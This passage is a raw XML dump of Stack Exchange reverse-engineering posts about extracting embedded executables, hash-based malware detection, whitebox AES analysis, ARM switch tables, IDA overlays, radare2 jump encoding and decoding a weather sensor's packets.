edx,[ebp-38]&#xA;     005A0CB5    mov        eax,dword ptr [ebp-4]&#xA;     005A0CB8    call       LowerCase&#xA;     005A0CBD    mov        edx,dword ptr [ebp-38]&#xA;     005A0CC0    mov        eax,dword ptr [ebp-0C]&#xA;     005A0CC3    call       Pos&#xA;     005A0CC8    test       eax,eax&#xA;    &amp;gt;005A0CCA    jle        005A0CF8&#xA;     005A0CCC    lea        edx,[ebp-8]&#xA;     005A0CCF    xor        eax,eax&#xA;     005A0CD1    call       005A0A7C&#xA;     005A0CD6    movzx      eax,byte ptr ds:[5A0D78]; 0x3&#xA;     005A0CDD    push       eax&#xA;     005A0CDE    push       ebx&#xA;     005A0CDF    lea        edx,[ebp-3C]&#xA;     005A0CE2    mov        eax,dword ptr [ebp-4]&#xA;     005A0CE5    call       LowerCase&#xA;     005A0CEA    mov        eax,dword ptr [ebp-3C]&#xA;     005A0CED    mov        ecx,dword ptr [ebp-8]&#xA;     005A0CF0    mov        edx,dword ptr [ebp-0C]&#xA;     005A0CF3    call       StringReplace&#xA;     005A0CF8    lea        edx,[ebp-40]&#xA;     005A0CFB    mov        eax,dword ptr [ebx]&#xA;     005A0CFD    call       ExcludeTrailingPathDelimiter&#xA;     005A0D02    mov        edx,dword ptr [ebp-40]&#xA;     005A0D05    mov        eax,ebx&#xA;     005A0D07    call       @UStrAsg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is it possible to extract an executable inside another executable an d how?&lt;/p&gt;&#xA;" OwnerUserId="13301" LastActivityDate="2019-06-06T00:59:33.040" Title="how to extract a file embedded in an .exe?" Tags="|disassembly|debugging|delphi|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12034" PostTypeId="2" ParentId="12033" CreationDate="2016-02-15T09:32:00.907" Score="0" Body="&lt;p&gt;(assuming the file inside is not encrypted) you could try to look for hex values 4D 5A 90 00 it's start of DOS header then copy everything until the end and paste into new file.&lt;/p&gt;&#xA;" OwnerUserId="2936" LastActivityDate="2016-02-15T09:32:00.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12035" PostTypeId="2" ParentId="12033" CreationDate="2016-02-15T10:15:32.623" Score="4" Body="&lt;p&gt;It is possible. Where is the embedded executable located? Based on my experience there are a couple of locations:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Overlay&lt;/strong&gt;: If it is in overlay, just select it entirely from the &quot;MZ&quot; signature to the end and dump it. Try to open it in the debugger then to see if it is working. More about this can be found &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2014/how-can-one-extract-the-appended-data-of-a-portable-executable&quot;&gt;here&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Resource&lt;/strong&gt;: If the embedded file is part of the resource, just dump the appropriate resource using some tool like &lt;a href=&quot;https://www.aldeid.com/wiki/LordPE&quot; rel=&quot;nofollow noreferrer&quot;&gt;LordPE&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Section&lt;/strong&gt;: This is the most trickiest case if you are new to this. Locate the first byte of the embedded PE file (the &quot;MZ&quot; signature bytes). From there position at offset 0x150. There you have a 4 byte value which contains the &lt;em&gt;SizeOfImage&lt;/em&gt;. The &lt;em&gt;SizeOfImage&lt;/em&gt; field tells you how much memory space the PE file takes when loaded in memory. When you get that value, you can select that many bytes and dump them. This way you are sure that the entire embedded file will be dumped.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;NOTE: If the original file has overlay, it would be a good idea to copy that overlay to the embedded file once you extract it because it is possible that the dumped file will make use of the overlay data.&lt;/p&gt;&#xA;" OwnerUserId="12897" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2016-02-15T10:15:32.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12036" PostTypeId="2" ParentId="11976" CreationDate="2016-02-15T10:28:56.417" Score="0" Body="&lt;p&gt;That is exactly how antivirus programs work. Well, part of it. Kindly check this &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/3978/how-do-anti-virus-programs-catch-a-virus-how-they-detect-it?rq=1&quot;&gt;answer.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is, MD5 hashing, although fast, is broken and have already produced collisions (different inputs producing the same MD5 hash). SHA1 and SHA256 are better in the sense that it is so much harder (but possible, as stated in the previous answer) to find collisions, that is to find different files that produce the same SHA hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, hashing used for malware detection is a very bad approach since it is &lt;em&gt;easily&lt;/em&gt; defeated (polymorphic malware, malware builders, etc). Although if you are just exploring things, then YES, that is a valid way of creating an antivirus program.&lt;/p&gt;&#xA;" OwnerUserId="8336" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2016-02-15T10:28:56.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12037" PostTypeId="2" ParentId="11975" CreationDate="2016-02-15T12:03:51.870" Score="3" Body="&lt;p&gt;I think you identified the purpose of the functions and its parameters correctly. So, the function &lt;code&gt;sub_44d84&lt;/code&gt; has four parameters: &lt;code&gt;(&amp;lt;decryptionFunction=0x1&amp;gt;, &amp;lt;IV&amp;gt;, &amp;lt;bytesToDecrypt&amp;gt;, &amp;lt;decryptedBytes&amp;gt;)&lt;/code&gt; and calls the &lt;code&gt;sub_46d554&lt;/code&gt; function for every blocks using CBC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;sub_46d554&lt;/code&gt; function received 2 parameters:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;R0&lt;/code&gt;: Encrypted input block &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;R1&lt;/code&gt;: Decrypted output block&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The bytes from the input blocks are read out from the first part of the function, performs the decryption steps and writes out to the output buffer in the last part of the function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To understand the decryption function, first building blocks of the obfuscation should be understand. So, I picked up some example codes after the second bytes was read out from the input block (the start of the function is a little bit messy because of the compiler optimization).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jbOv5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jbOv5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the above image the line marked with green reads out the second byte of the input block and the orange line initializes the &lt;code&gt;R2&lt;/code&gt; register. The yellow and blue blocks are perform similar functions. Both blocks starts with an addition, stores the result to a local variable and check whether the result was equal to &lt;code&gt;0xFF&lt;/code&gt;. If the result was &lt;code&gt;0xFF&lt;/code&gt; the value of the &lt;code&gt;R2&lt;/code&gt; was changed. Since the &lt;code&gt;R2&lt;/code&gt; was changed only if the addition was &lt;code&gt;0xFF&lt;/code&gt; and the addition used always the &lt;code&gt;LR&lt;/code&gt; (which contained the second byte of the input), the value of the &lt;code&gt;R2&lt;/code&gt; register can be changed only once. Because the new &lt;code&gt;R2&lt;/code&gt; value depends only from the &lt;code&gt;LR&lt;/code&gt; these blocks implements a lookup table, which is a substitution box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[EDIT] The lookup table is built up from the building blocks similar to the highlighted ones. So, in pseudo code, the lookup table is implemented in the following way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (input == 0xb1) out = 0x5b&#xA;if (input == 0x42) out = 0x56&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To understand the reason why the result is stored into a local variable, let's check the next usage of the local variable &lt;code&gt;var_1A8&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DY0VS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DY0VS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It reads out the local variable, which was the result of the addition, and checks whether it is &lt;code&gt;0xFF&lt;/code&gt; similar to the previous cases. Since the value of this local variable will be &lt;code&gt;0xFF&lt;/code&gt; only if the result of the addition was &lt;code&gt;0xFF&lt;/code&gt; in the place, where the value was originally stored, the comparison checks whether the input byte is equal to a specific value again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we search for the local variable &lt;code&gt;var_1A8&lt;/code&gt; in the whole function, we receive a lot of results with a specific patter (&lt;code&gt;STR&lt;/code&gt;, &lt;code&gt;LDR&lt;/code&gt;, &lt;code&gt;LDR&lt;/code&gt;, &lt;code&gt;LDR&lt;/code&gt;) repeatedly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/K57Uh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/K57Uh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;STR&lt;/code&gt; means the storage of the addition and the &lt;code&gt;LDR&lt;/code&gt; means the usage of this addition. So, every bytes are checked four times and than another byte will be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By comparing all of the input bytes usages with the local variable usages, the following patter can be found:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;i0 = input[0x00]&#xA;d0_0 = table0[i0]&#xA;id = input[0x0d]&#xA;d0_d = table1[id]&#xA;ia = input[0x0a]&#xA;d0_a = table2[ia]&#xA;i7 = input[0x07]&#xA;d0_7 = table3[i7]&#xA;&#xA;d1_0 = table4[i0]&#xA;d1_d = table5[id]&#xA;d1_a = table6[ia]&#xA;d1_7 = table7[i7]&#xA;&#xA;d2_0 = table8[i0]&#xA;d2_d = table9[id]&#xA;d2_a = table10[ia]&#xA;d2_7 = table11[i7]&#xA;&#xA;d3_0 = table12[i0]&#xA;d3_d = table13[id]&#xA;d3_a = table14[ia]&#xA;d3_7 = table15[i7]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, reads out 4 bytes, performs the substitution and stores the result in a local variable. After it, the same was performed with the next 4 bytes and so on. After the whole block was processed the stored results were read out and xored value of some previous results was used as a new input, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nb_0 = d0_4 ^ d2_d ^ ...&#xA;d0_0 = table16[nb_0]&#xA;nb_1 = d1_2 ^ d3_8 ^ ...&#xA;d0_1 = table17[nb_1]&#xA;...&#xA;&#xA;d1_0 = table20[nb_0]&#xA;d1_d = table21[nb_1]&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By checking the pattern of the local variable usage, it clearly seen that it uses 9 round of substitution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on the above, I think, that the decryption function can be an AES-128 implementation. Because the add round key, sub bytes and shift rows steps operations can be implemented with lookup tables in one step, and the mix columns operation in another step. Because there is 9 round only, the initial round and the first round of the AES may be implemented with one lookup table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the key (if it is really an AES implementation, the expanded key) is mixed into the implementation. Although I'm not a crytographer, I guess that you may retrieve the expanded AES key by xoring the values of the lookup tables with the Rijndael S-Box values. However, it seems to be a hard and time-consuming process, so you may consider to emulate the code if you want to just decrypt some data.&lt;/p&gt;&#xA;" OwnerUserId="12325" LastEditorUserId="12325" LastEditDate="2016-02-15T13:19:57.650" LastActivityDate="2016-02-15T13:19:57.650" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="12039" PostTypeId="1" AcceptedAnswerId="12042" CreationDate="2016-02-15T16:12:19.280" Score="3" ViewCount="842" Body="&lt;p&gt;I'm working on a disassembler for ARM Thumb2 (stripped) binaries. I can already recover the CFG of Basic Blocks (BB) that use direct jumps. My next goal is to handle indirect jumps. I'm currently working on identifying targets of switch statements which I'll discuss based on the following example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main(int argc, char** argv){&#xA;  int i = 0;&#xA;  switch (argc) {&#xA;    case 0: i++; break;&#xA;    case 1: i+=2; break;&#xA;    case 3: i+=3; break;&#xA;    case 6: i+=6; break;&#xA;    case 5: i+=8; break;&#xA;    case 7: i+=10; break;&#xA;    default: i+=87; break;&#xA;  }&#xA;  return i;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When compiling the above example using: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;arm-linux-gnueabihf-gcc-4.8 -o3 -mthumb main.c -o main.out&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Disassembling &lt;code&gt;main&lt;/code&gt; using &lt;code&gt;objdump&lt;/code&gt; show that the switch table data words start at &lt;code&gt;0x83d8&lt;/code&gt; as can be seen here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;83bc:       b480            push    {r7}&#xA;83be:       b085            sub     sp, #20&#xA;83c0:       af00            add     r7, sp, #0&#xA;83c2:       6078            str     r0, [r7, #4]&#xA;83c4:       6039            str     r1, [r7, #0]&#xA;83c6:       2300            movs    r3, #0&#xA;83c8:       60fb            str     r3, [r7, #12]&#xA;83ca:       687b            ldr     r3, [r7, #4]&#xA;83cc:       2b07            cmp     r3, #7&#xA;83ce:       d82b            bhi.n   8428 &amp;lt;main+0x6c&amp;gt;&#xA;83d0:       a201            add     r2, pc, #4      ; (adr r2, 83d8 &amp;lt;main+0x1c&amp;gt;)&#xA;83d2:       f852 f023       ldr.w   pc, [r2, r3, lsl #2]&#xA;83d6:       bf00            nop&#xA;83d8:       000083f9        .word   0x000083f9&#xA;83dc:       00008401        .word   0x00008401&#xA;83e0:       00008429        .word   0x00008429&#xA;83e4:       00008409        .word   0x00008409&#xA;83e8:       00008429        .word   0x00008429&#xA;83ec:       00008419        .word   0x00008419&#xA;83f0:       00008411        .word   0x00008411&#xA;83f4:       00008421        .word   0x00008421&#xA;83f8:       68fb            ldr     r3, [r7, #12]&#xA;83fa:       3301            adds    r3, #1&#xA;83fc:       60fb            str     r3, [r7, #12]&#xA;83fe:       e017            b.n     8430 &amp;lt;main+0x74&amp;gt;&#xA;8400:       68fb            ldr     r3, [r7, #12]&#xA;8402:       3302            adds    r3, #2&#xA;8404:       60fb            str     r3, [r7, #12]&#xA;8406:       e013            b.n     8430 &amp;lt;main+0x74&amp;gt;&#xA;8408:       68fb            ldr     r3, [r7, #12]&#xA;840a:       3303            adds    r3, #3&#xA;840c:       60fb            str     r3, [r7, #12]&#xA;840e:       e00f            b.n     8430 &amp;lt;main+0x74&amp;gt;&#xA;8410:       68fb            ldr     r3, [r7, #12]&#xA;8412:       3306            adds    r3, #6&#xA;8414:       60fb            str     r3, [r7, #12]&#xA;8416:       e00b            b.n     8430 &amp;lt;main+0x74&amp;gt;&#xA;8418:       68fb            ldr     r3, [r7, #12]&#xA;841a:       3308            adds    r3, #8&#xA;841c:       60fb            str     r3, [r7, #12]&#xA;841e:       e007            b.n     8430 &amp;lt;main+0x74&amp;gt;&#xA;8420:       68fb            ldr     r3, [r7, #12]&#xA;8422:       330a            adds    r3, #10&#xA;8424:       60fb            str     r3, [r7, #12]&#xA;8426:       e003            b.n     8430 &amp;lt;main+0x74&amp;gt;&#xA;8428:       68fb            ldr     r3, [r7, #12]&#xA;842a:       3357            adds    r3, #87 ; 0x57&#xA;842c:       60fb            str     r3, [r7, #12]&#xA;842e:       bf00            nop&#xA;8430:       68fb            ldr     r3, [r7, #12]&#xA;8432:       4618            mov     r0, r3&#xA;8434:       3714            adds    r7, #20&#xA;8436:       46bd            mov     sp, r7&#xA;8438:       f85d 7b04       ldr.w   r7, [sp], #4&#xA;843c:       4770            bx      lr&#xA;843e:       bf00            nop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Observations:&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Data words store the absolute target addresses of the switch table not  offsets. &lt;/li&gt;&#xA;&lt;li&gt;The indirect branch is implemented using &lt;code&gt;ldr.w   pc, [base, index, lsl #2]&lt;/code&gt;  where base (here r2) stores the address of the beginning of data words and index (here r3) is used to calculate the offset.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Questions:&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Can the aforementioned observations be generalized? in other words, can I assume the this is the (de-facto) standard way for (most) ARM compilers to implement switch statements?&lt;/li&gt;&#xA;&lt;li&gt;Why are the addresses stored in data words odd? I can't see any mode switching between ARM/Thumb here. For example, the default case can be found at &lt;code&gt;0x8428&lt;/code&gt; but the corresponding address is stored as &lt;code&gt;0x00008429&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="11828" LastActivityDate="2016-02-15T17:25:51.643" Title="Identify targets of a switch table in ARM" Tags="|disassembly|arm|thumb2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12040" PostTypeId="2" ParentId="11976" CreationDate="2016-02-15T16:24:26.057" Score="0" Body="&lt;p&gt;Well, do you want it to be effective? Forget the fancy methods with hash collisions of my virus to a legitimate exectuable, it is much easier to circumvent all hash based Antiviruses.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The PE file format on windows and the ELF file format on Linux are used for executables (like .exe, .dll, .so, ...). Both formats specify the end of the file - everything after that is not parsed. That means an attacker can append random data and the file still runs like it did before.&lt;br&gt;&#xA;Appending random data however changes the hash. If the attacker sends a different file to every victim that means that you would need to get each and every single one of those file to flag it as malicious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And with some botnets having a million infected PCs that means you database would need to grow to that size - at which point you probably should search for another method of identification.&lt;/p&gt;&#xA;" OwnerUserId="8093" LastActivityDate="2016-02-15T16:24:26.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12042" PostTypeId="2" ParentId="12039" CreationDate="2016-02-15T17:25:51.643" Score="2" Body="&lt;p&gt;No, you can't assume that's how most ARM compilers will implement switch statements. For example, here's gcc 5.2.1 on that same code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cosimo:~ moyix$ arm-none-eabi-gcc-5.2.1 -o3 -mthumb -c x.c -o x.o&#xA;cosimo:~ moyix$ arm-none-eabi-objdump -d x.o&#xA;&#xA;x.o:     file format elf32-littlearm&#xA;&#xA;&#xA;Disassembly of section .text:&#xA;&#xA;00000000 &amp;lt;main&amp;gt;:&#xA;   0:   b580        push    {r7, lr}&#xA;   2:   b084        sub sp, #16&#xA;   4:   af00        add r7, sp, #0&#xA;   6:   6078        str r0, [r7, #4]&#xA;   8:   6039        str r1, [r7, #0]&#xA;   a:   2300        movs    r3, #0&#xA;   c:   60fb        str r3, [r7, #12]&#xA;   e:   687b        ldr r3, [r7, #4]&#xA;  10:   2b07        cmp r3, #7&#xA;  12:   d81d        bhi.n   50 &amp;lt;main+0x50&amp;gt;&#xA;  14:   687b        ldr r3, [r7, #4]&#xA;  16:   009a        lsls    r2, r3, #2&#xA;  18:   4b13        ldr r3, [pc, #76]   ; (68 &amp;lt;main+0x68&amp;gt;)&#xA;  1a:   18d3        adds    r3, r2, r3&#xA;  1c:   681b        ldr r3, [r3, #0]&#xA;  1e:   469f        mov pc, r3&#xA;  20:   68fb        ldr r3, [r7, #12]&#xA;  22:   3301        adds    r3, #1&#xA;  24:   60fb        str r3, [r7, #12]&#xA;  26:   e017        b.n 58 &amp;lt;main+0x58&amp;gt;&#xA;  28:   68fb        ldr r3, [r7, #12]&#xA;  2a:   3302        adds    r3, #2&#xA;  2c:   60fb        str r3, [r7, #12]&#xA;  2e:   e013        b.n 58 &amp;lt;main+0x58&amp;gt;&#xA;  30:   68fb        ldr r3, [r7, #12]&#xA;  32:   3303        adds    r3, #3&#xA;  34:   60fb        str r3, [r7, #12]&#xA;  36:   e00f        b.n 58 &amp;lt;main+0x58&amp;gt;&#xA;  38:   68fb        ldr r3, [r7, #12]&#xA;  3a:   3306        adds    r3, #6&#xA;  3c:   60fb        str r3, [r7, #12]&#xA;  3e:   e00b        b.n 58 &amp;lt;main+0x58&amp;gt;&#xA;  40:   68fb        ldr r3, [r7, #12]&#xA;  42:   3308        adds    r3, #8&#xA;  44:   60fb        str r3, [r7, #12]&#xA;  46:   e007        b.n 58 &amp;lt;main+0x58&amp;gt;&#xA;  48:   68fb        ldr r3, [r7, #12]&#xA;  4a:   330a        adds    r3, #10&#xA;  4c:   60fb        str r3, [r7, #12]&#xA;  4e:   e003        b.n 58 &amp;lt;main+0x58&amp;gt;&#xA;  50:   68fb        ldr r3, [r7, #12]&#xA;  52:   3357        adds    r3, #87 ; 0x57&#xA;  54:   60fb        str r3, [r7, #12]&#xA;  56:   46c0        nop         ; (mov r8, r8)&#xA;  58:   68fb        ldr r3, [r7, #12]&#xA;  5a:   0018        movs    r0, r3&#xA;  5c:   46bd        mov sp, r7&#xA;  5e:   b004        add sp, #16&#xA;  60:   bc80        pop {r7}&#xA;  62:   bc02        pop {r1}&#xA;  64:   4708        bx  r1&#xA;  66:   46c0        nop         ; (mov r8, r8)&#xA;  68:   00000000    .word   0x00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And there are more complex schemes possible, including things like binary search on the switch value to find the right case. In general you need to do a more complex analysis to recover switch statements. Some academic work exists on this topic, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.cs.tufts.edu/~nr/cs257/archive/cristina-cifuentes/switch-proof.pdf&quot; rel=&quot;nofollow&quot;&gt;http://www.cs.tufts.edu/~nr/cs257/archive/cristina-cifuentes/switch-proof.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to your second question, jumps using &lt;code&gt;ldr pc&lt;/code&gt; must explicitly specify the mode. Since you compiled the code with &lt;code&gt;-mthumb&lt;/code&gt;, you're in thumb mode, and to stay in thumb mode those addresses need to have bit 0 set to 1 (see note [a] on &lt;a href=&quot;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0489c/Cihjffga.html&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2016-02-15T17:25:51.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12043" PostTypeId="1" AcceptedAnswerId="12047" CreationDate="2016-02-15T17:57:27.777" Score="-1" ViewCount="2375" Body="&lt;p&gt;Why does this happen and how do I get to that place in file using IDA? I have found a unicode string using WinHEX. Now I would like to see from where is it referenced. I tried to jump on the file offset, but it prints out an error: &lt;code&gt;Command &quot;JumpFileOffset&quot; failed&lt;/code&gt;. Searching for those bytes as well as for the text value yields no results. It's like IDA somehow missed that part of the file. Looking at IDA's hex-view the file ends with a lot of &lt;code&gt;??&lt;/code&gt; bytes, whereas in WinHEX those offsets have all sorts of data: what looks like garbage and a lots of unicode strings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like there is some trivial knowledge I'm missing.&lt;/p&gt;&#xA;" OwnerUserId="15073" LastActivityDate="2016-02-16T00:00:20.170" Title="IDA Pro can't view part of the file, which I can see exists WinHEX" Tags="|ida|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12044" PostTypeId="2" ParentId="12043" CreationDate="2016-02-15T19:05:09.983" Score="0" Body="&lt;p&gt;Existing data on disk that appears in IDA as '??' bytes usually means that this data is overlay, i.e. it's behind the end of the last section. Check what should be the RVA of your string and whether it does land in a section or not depending on the header of your executable.&lt;/p&gt;&#xA;" OwnerUserId="8679" LastActivityDate="2016-02-15T19:05:09.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12045" PostTypeId="1" CreationDate="2016-02-15T21:37:32.373" Score="-1" ViewCount="219" Body="&lt;p&gt;&lt;code&gt;radare2&lt;/code&gt; disassembles an instruction in the following way (&lt;a href=&quot;http://crackmes.de/users/sx0r/crackme4_by_sx0r/download&quot; rel=&quot;nofollow&quot;&gt;binary here&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x0040425f 0f847b020000   je 0x4044e0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is giving &lt;code&gt;rasm2&lt;/code&gt; different result?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rasm2 -a x86 -b 64 -d '0f847b020000'&#xA;je 0x281&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13970" LastActivityDate="2016-02-16T04:51:38.490" Title="rasm2 output differs from radare2" Tags="|radare2|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12046" PostTypeId="2" ParentId="12045" CreationDate="2016-02-15T22:28:41.123" Score="3" Body="&lt;p&gt;I don't think it is a different result, only a different representation.&#xA;The &lt;code&gt;radare2&lt;/code&gt; output tells you at which absolute address will the jump take you (in this case &lt;code&gt;0x004044e0&lt;/code&gt;), while the &lt;code&gt;rasm2&lt;/code&gt; output tells you how far from the current address (in this case &lt;code&gt;0x0040425f&lt;/code&gt;) will the jump take you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make it more clear: Your current instruction starts at address &lt;code&gt;0x0040425f&lt;/code&gt;, while your destination address is &lt;code&gt;0x004044e0&lt;/code&gt;. If you substitute the two addresses you get: &lt;code&gt;0x004044e0 - 0x0040425f = 0x00000281&lt;/code&gt;, which is the parameter to the jump in the &lt;code&gt;rasm2&lt;/code&gt; tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the opcode &lt;code&gt;0x0F 0x84&lt;/code&gt; stands for &lt;code&gt;JE rel16/rel32&lt;/code&gt; and since you haven't specified at which address your instruction &lt;code&gt;0f847b020000&lt;/code&gt; resides the &lt;code&gt;rasm2&lt;/code&gt; tool is correctly telling you that it is &lt;code&gt;0x281&lt;/code&gt; bytes from wherever the instruction is: &lt;code&gt;parameter_value(0x0000027b) + instruction_length(0x06) = 0x00000281&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="12897" LastActivityDate="2016-02-15T22:28:41.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12047" PostTypeId="2" ParentId="12043" CreationDate="2016-02-16T00:00:20.170" Score="2" Body="&lt;p&gt;By default, IDA does not load all sections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To force IDA to load all sections, check the &lt;code&gt;Manual load&lt;/code&gt; checkbox when opening the file in IDA:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GreEM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GreEM.png&quot; alt=&quot;Manual load&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, note that this likely won't help you, since it's very unlikely that you'll find a cross-reference from that string back to the code. If the string is in a &lt;code&gt;.rsrc&lt;/code&gt; section, look for calls to &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms648042.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;FindResource()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-02-16T00:00:20.170" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12048" PostTypeId="1" CreationDate="2016-02-16T00:12:26.833" Score="4" ViewCount="443" Body="&lt;p&gt;Note: I've made progress over at the EE stackexchange on pulling bits out of the signal (see &lt;a href=&quot;https://electronics.stackexchange.com/questions/145714/what-encoding-is-used-in-this-signal&quot;&gt;https://electronics.stackexchange.com/questions/145714/what-encoding-is-used-in-this-signal&lt;/a&gt;), but now i think this group might be more interested in determining the &lt;em&gt;meaning&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sniffing the data pin on the &lt;em&gt;receiver's&lt;/em&gt; module, i'm getting a 64-bit packet every minute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The manufacturer states the temperature range as being 0F-158F (see &lt;a href=&quot;https://support.acurite.com/acurite/topics/what-is-the-temperature-range-of-the-00617&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.acurite.com/acurite/topics/what-is-the-temperature-range-of-the-00617&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing the station code (there's an A/B/C switch on both sensor and base station), i've been able to determine that the first two bits are the only thing that affects (00=A, 01=B, 10=C).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sensor and base each have C/F switches, but since a) 1F is smaller than 1C and there is no fractional display, and b) the manufacturer seems to prefer to state the range in F, and c) the F range is strictly nonnegative, it seems &lt;em&gt;likely&lt;/em&gt; to me that the data is transmitted in terms of F.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to send 159 different levels, it only needs 8 bits, so the remaining 54 (64 - 2 station - 8 minimum data) bits are probably some combination of product ID, battery-level info (it has a &quot;low sensor battery&quot; indicator on the base), extra (unshown) precision, and checksums/crcs. 